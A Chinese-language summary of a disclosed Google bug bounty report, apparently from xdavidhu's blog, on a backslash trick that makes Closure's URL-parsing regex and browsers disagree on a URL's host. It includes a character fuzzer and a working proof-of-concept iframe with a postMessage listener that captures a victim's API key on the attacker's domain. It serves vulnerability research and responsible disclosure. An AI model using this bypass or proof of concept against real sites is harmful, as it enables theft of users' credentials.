作者本想绕过一个小小的网络应用程序的域检测,但没想到绕过了(几乎)所有Google产品中使用的URL解析器。
作者浏览Gmail API文档时,发现了一个按钮,按下按钮,就会生成一个Gmail API密钥:
这时候作者想到,是不是可以通过使受害者单击链接来执行谷歌云控制台操作。
弹出的这个应用程序叫henhouse,GMmail API文档将henhouse应用程序嵌入IFrame。这是在iFrame中加载的URL:
https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://developers.google.com",null,[],null,"Create API key",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]
url中的pb[4]是https://developers.google.com
,作者发现父级和子级IFrame之间存在某种通信,例如用户可以单击Done按钮关闭henhouse窗口并返回文档。经过一些测试,作者确认henhouse应用程序将postMessages发送到父域(更准确地说,发送到pb[4]中指定的域)。如果生成了API密钥/OAuth客户端ID,它也会在postMessage中发回给父域。
至此,作者已经脑补了整个攻击场景。作者将henhouse嵌入到自己的恶意网站上,然后监听postMessage中的受害者API密钥。接下来作者必须要把自己的网站放到URL中。
但这个事情并不是手到擒来。
作者对javascript进行逆向,弄清楚白名单的原理。
经过对混淆的javascript进行处理后,白名单原理的大体伪代码在这里
// This is not real code..
var whitelistedWildcards = ['.corp.google.com', '.c.googlers.com'];
var whitelistedDomains = ['https://devsite.googleplex.com', 'https://developers.google.com',
'https://cloud-dot-devsite.googleplex.com', 'https://cloud.google.com'
'https://console.cloud.google.com', 'https://console.developers.google.com'];
var domainURL = URL.params.pb[4];
if (whitelistedDomains.includes(domainURL) || getAuthorityFromMagicRegex(domainURL).endsWith(whitelistedWildcards)) {
postMessage("API KEY: " + apikey, domainURL);
}
绕过whitelistedDomains
有点困难,但我们可以从whitelistedWildcards
入手,它检查URL是否以.corp.google.com
或.c.googlers.com
结尾。
getAuthorityFromMagicRegex函数
var getAuthorityFromRegex = function(domainURL) {
var magicRegex = /^(?:([^:/?#.]+):)?(?:\/\/(?:([^/?#]*)@)?([^/#?]*?)(?::([0-9]+))?(?=[/#?]|$))?([^?#]+)?(?:\?([^#]*))?(?:#([\s\S]*))?$/;
return magicRegex.match(domainURL)[3]
}
正则表达式有点复杂。magicRegex.Match(DomainURL)[3]中有什么?
让我们看看在JS控制台上正则表达式会返回什么:
"https://user:[email protected]:8080/path/to/something?param=value#hash".match(magicRegex);
Array(8) [ "https://user:[email protected]:8080/path/to/something?param=value#hash",
"https", "user:pass", "test.corp.google.com", "8080", "/path/to/something", "param=value", "hash" ]
好的,所以magicRegex.Match(DomainURL)[3]是权限(域)。
作者将此正则表达式放在 www.debuggex.com 中。一个可视化网站,便于操作
这个权限域以 / ``?
或#
结束,之后的任何内容都不再是域名。
但作者有个想法,是否存在这样一个字符,它在被浏览器解析时结束权限,被正则表达式解析时,不会失去权限。
通过生成以.corp.google.com
结尾的内容进而绕过检查。
https://xdavidhu.me[MAGIC_CHARACTER]test.corp.google.com
因此,对于浏览器来说,权限是xdavidhu.me,但是对于正则表达式来说,权限就是全部内容,它以.corp.google.com结尾,因此允许发送API密钥postMessage。
作者写了一个JavaScript fuzzer来寻找个字符
var s = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~';
for (var i = 0; i < s.length; i++) {
char = s.charAt(i);
string = 'https://xdavidhu.me'+char+'.corp.google.com';
try {
const url = new URL(string);console.log("[+] " + string + " -> " + url.hostname);
} catch {
console.log("[!] " + string + " -> ERROR");
}
}
结果
[+] https://xdavidhu.me/.corp.google.com -> xdavidhu.me
[+] https://xdavidhu.me?.corp.google.com -> xdavidhu.me
[+] https://xdavidhu.me#.corp.google.com -> xdavidhu.me
[+] https://xdavidhu.me\.corp.google.com -> xdavidhu.me
除了/
,?
,#
,\也起到了同样的效果!
(Firefox,Chrome,Safari)都适用!
作者刨根问底,在源码中找到了原因
bool IsAuthorityTerminator(base::char16 ch) {
return IsURLSlash(ch) || ch == '?' || ch == '#';
}
IsURLSlash
函数:
inline bool IsURLSlash(base::char16 ch) {
return ch == '/' || ch == '\\';
}
// Regex parsing
"https://user:[email protected]\\test.corp.google.com:8080/path/to/something?param=value#hash".match(magicRegex)
Array(8) [ "https://user:[email protected]\\test.corp.google.com:8080/path/to/something?param=value#hash",
"https", "user:pass", "xdavidhu.me\\test.corp.google.com", "8080", "/path/to/something", "param=value", "hash" ]
// Browser parsing
new URL("https://user:[email protected]\\test.corp.google.com:8080/path/to/something?param=value#hash")
URL { href: "https://user:[email protected]/test.corp.google.com:8080/path/to/something?param=value#hash",
origin: "https://xdavidhu.me", protocol: "https:", username: "user", password: "pass", host: "xdavidhu.me",
hostname: "xdavidhu.me", port: "", pathname: "/test.corp.google.com:8080/path/to/something", search: "?param=value" }
将PoC嵌入henhouse,并获取受害者的API密钥。
<iframe id="test" src='https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://xdavidhu.me\\test.corp.google.com",null,[],null,"Create API key",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]'></iframe>
<script>
window.addEventListener('message', function (d) {
console.log(d.data);
if(d.data[1] == "apikey-credential"){
var h1 = document.createElement('h1');
h1.innerHTML = "Your API key: " + d.data[2];
document.body.appendChild(h1);
}
});
</script>
https://www.youtube.com/embed/F4DhJDV5sDs
对于这个漏洞,等级可高可低,只能“窃取”API密钥或OAuth客户端ID。
作者想,这个复杂的正则表达式不可能只是专门为henhouse构造的。
作者开始在其他Google产品中抓取JS文件,发现这个正则表达式无处不在。Google Cloud Console、Google Actions Console的JS、 YouTube Studio、myaccount t.google.com(!),甚至在一些谷歌安卓应用程序中也有它的身影!
一天后,作者在谷歌公司(Google Corp)的登录页面(login.corp.google.com)上发现了
var goog$uri$utils$splitRe_ = [THE_MAGIC_REGEX],
在使用类似“end -with”逻辑进行域验证时,可以使用\字符绕过此正则表达式。
报告给google公司后,收到了这样的回复
几周后,作者在LiveOverFlow的XSS on Google Search’ video”视频中得到这样一条关键信息,“Google的JavaScript代码实际上是开源的!”
作者打开了Closure libary GitHub repo,并查看了提交。
[2020年1月4日]:漏洞报告
[2020年1月6日]:初步分类
[2020年1月6日]:漏洞等级修正(P4-> P1)
[2020年1月17日]:赏金6000美元
[2020年3月6日]:修复漏洞
https://bugs.xdavidhu.me/google/2020/03/08/the-unexpected-google-wide-domain-check-bypass/